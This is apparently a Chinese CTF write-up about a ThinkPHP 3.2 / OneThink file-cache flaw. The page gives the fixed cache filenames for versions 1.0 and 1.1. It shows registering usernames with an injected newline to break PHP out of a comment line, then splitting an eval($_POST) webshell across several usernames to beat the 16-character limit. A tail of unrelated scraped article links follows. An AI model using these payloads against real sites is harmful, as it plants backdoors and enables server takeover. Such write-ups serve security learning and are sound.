框架漏洞

因为尝试访问/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php的确成功,所以很有可能就是这个漏洞。虽然图都挂掉了,但是大概也能看懂。漏洞的成因大概就是ThinkPHP框架的缓存函数S()是以File方式,在/Runtime/Temp下生成缓存php文件,而且缓存文件名固定。另外乌云的这个漏洞详情没有公开,能找到的文章只有这篇。

本地搭建

一不小心下成了1.1版本,不过应该也没有太多的不同,这里我需要安装两个所需的php插件,并设置可写

$yum installphp-mbstring

$yum installphp-gd

$chmod777 -R wwwroot

浏览/Runtime/Temp目录发现如下文件:

27cdbc1fb1747e4f56dfb350211408e1.php

2923514e8f7dfe49ac5aebd5073e6000.php

5f172c2585b382a65d91e0c51a64dc7f.php

77278367caf1eb2690f686654d77e163.php

ea40274ec2c219aa956e2d44e586834d.php

其中如下两个文件是跟用户有关的文件:

5f172c2585b382a65d91e0c51a64dc7f.php

ea40274ec2c219aa956e2d44e586834d.php

这个两个文件内容一样,但不一定同时存在,内容如下:

//000000000000a:1:{s:2:"u1";s:13:"Administrator";}

?>

分析利用

如果用户名中存在用换行符或者回车,即可让语句从单行注释中逃逸出来:如注册一个名为%0aphpinfo();//的用户并登陆,这里需要注意注册以及登陆框会将输入url编码,所以要在burp里还原%0a,顺便吐槽一下验证码,太难看清了。登陆前只有ea的一个文件,登陆后5f文件也出现了。观察这两个文件内容如下:

//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:13:"

phpinfo();//";}

访问/wwwroot/Runtime/Temp/ea40274ec2c219aa956e2d44e586834d.php 查看phpinfo()成功,所以可以开心的写木马了,但是这里限制了用户名为16个字符,所以只能分开写:

%0a@eval($_POST[0]);// [20个字符]

%0a$a=$_POST[0];// [16个字符]

%0a@eval($a);// [13个字符]

注册完分别登录,换存文件就变成如下,菜刀链接即可,flag就在根目录下

//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:13:"

phpinfo();//";s:2:"u5";s:16:"

$a=$_POST[0];//";s:2:"u7";s:13:"

@eval($a);//";}

版本不同

1.0 的缓存文件名为:

2bb202459c30a1628513f40ab22fa01a.php

865e8245bc0c525aa4a48bfb433d7c3e.php

1.1 的缓存文件名为:

5f172c2585b382a65d91e0c51a64dc7f.php

ea40274ec2c219aa956e2d44e586834d.php

onethink swfupload upload.php,OneThink--ThinkPHP3.2 缓存文件泄露相关推荐

  1. onethink 1.0 框架升级ThinkPHP3.2.3后的问题解决

    onethink1.0使用的是ThinkPHP3.2.0,ThinkPHP3.2.3升级后接口有变化.需要修改onethink1.0三个文件才可以运行. 1. Application\Common\C ...

  2. onethink入门笔记(一)

    onethink入门笔记(一) 由于公司需求所以大概花了一个星期搞了一个一个基于onethink的数据管理平台demo不得不说onethink这个基于thinkphp3.2.3的框架还是很棒的 让我这 ...

  3. 有关SwfUpLoad的2038 错误

    项目需要用到大文件上传.最后选择了开源的swfupload作为上传空间,dome都运行非常良好.到了把它放到我的项目当中的时候. 出现了# 2038 error. 仔细观察后发现上传文件超过4mb就不 ...

  4. SWFupload 在(FF)火狐下报404错误的解决方案

    2.在FF下会报出404错误 swfupload Upload Error: 404 ,这个问题很简单,就是你实例化SWFupload的时候.upload_url: "upload.php& ...

  5. “百度杯”CTF比赛2017年2月场WP--web

    一.爆破-1 在php语言中,所有的已经定义的变量都会保存在GLOBALS全局数组中,比方说你定义了一个$name="李华",那么$GLOBALS['name']就等于" ...

  6. amazon 工作流服务_我在亚马逊仓库找了份工作,却没有和一个人说话

    amazon 工作流服务 重点 (Top highlight) A few weeks ago, I had just completed an application to work in a wa ...

  7. java 简单实现上传 | commons-fileupload

    使用servlet来实现 配置pom.xml <dependency><groupId>commons-fileupload</groupId><artifa ...

  8. 67.220.90.12/bbs/index.php,对乌云漏洞库payload的整理以及Burp辅助插件

    来自于一个小的想法,我们能否从一个http burp插件 然后写了一个burp插件,用来辅助寻找http请求包中域名,路径,参数等获取乌云历史漏洞中类似的数据. Payload排名Top 既然已经将w ...

  9. 67.220.90.12/bbs/index.php,对乌云漏洞库的分析.md

    漏洞都是相似的,但挖洞姿势却各有各的不同. 最近收集了很多src的资产域名,正在琢磨怎么用自动化扫描器来扫描,于是有了这个想法.乌云漏洞库有很多样本案例,网络上好像还没有人公开整理过乌云漏洞库中的pa ...

最新文章

  1. Java之数组array和集合list、set、map
  2. Codeforces Round #180 (Div. 2) A. Snow Footprints 贪心
  3. 杨氏干涉的模拟的MATLAB仿真
  4. 如何调用webservice接口
  5. Page.LoadTemplate的使用
  6. 无线网sdn服务器,什么是SDN,SDN网络与传统网络对比
  7. python 【第一篇】基础数据类型
  8. Linux命令之tar等
  9. 郭天祥的10天学会51单片机_第十一节
  10. 机器人操作系统二 ROS2:设计、架构和野外使用 - 机器翻译
  11. VS2017离线安装
  12. python画微信公众号首图
  13. 如何将QQ群文件快速下载,怎么快速下载QQ中的文件,QQ群文件下载
  14. 数据平台初试(产品篇)——监控大屏初露面
  15. 程序员的自我修养--链接、装载与库笔记:第一章温故而知新
  16. STM32F1系列之常用外设说明
  17. memcache1.5.8——LUR策略
  18. 第三十二章 XML基础知识概念
  19. 云米冰箱能控制扫地机器人_在云米的大屏冰箱就能操控其他智能家电?一起到京东618了解更多...
  20. selenium中拖动鼠标通过滑动验证码(geetest)验证

热门文章

  1. 计算机程序的思维逻辑 (12) - 函数调用的基本原理
  2. c++中scanf和printf
  3. Keras和TensorFlow的关系和区别
  4. html写个用户协议,五分钟学会HTML5的WebSocket协议
  5. html文件头自动生成,基于infinispan源码包HtmlGenerator代码生成器通过指定头部、标题、底部等进行生成HTML文件...
  6. SQL注入——基于布尔的盲注(八)
  7. goland go test_七天用Go写个docker(第一天)
  8. 电子计算机 俗称 它是一种具有,2013年计算机一级B试题模拟1
  9. python保存运行结果下次使用_将python运行结果保存至本地文件中的示例讲解
  10. python logging模块的作用_【python】【logging】python日志模块logging常用功能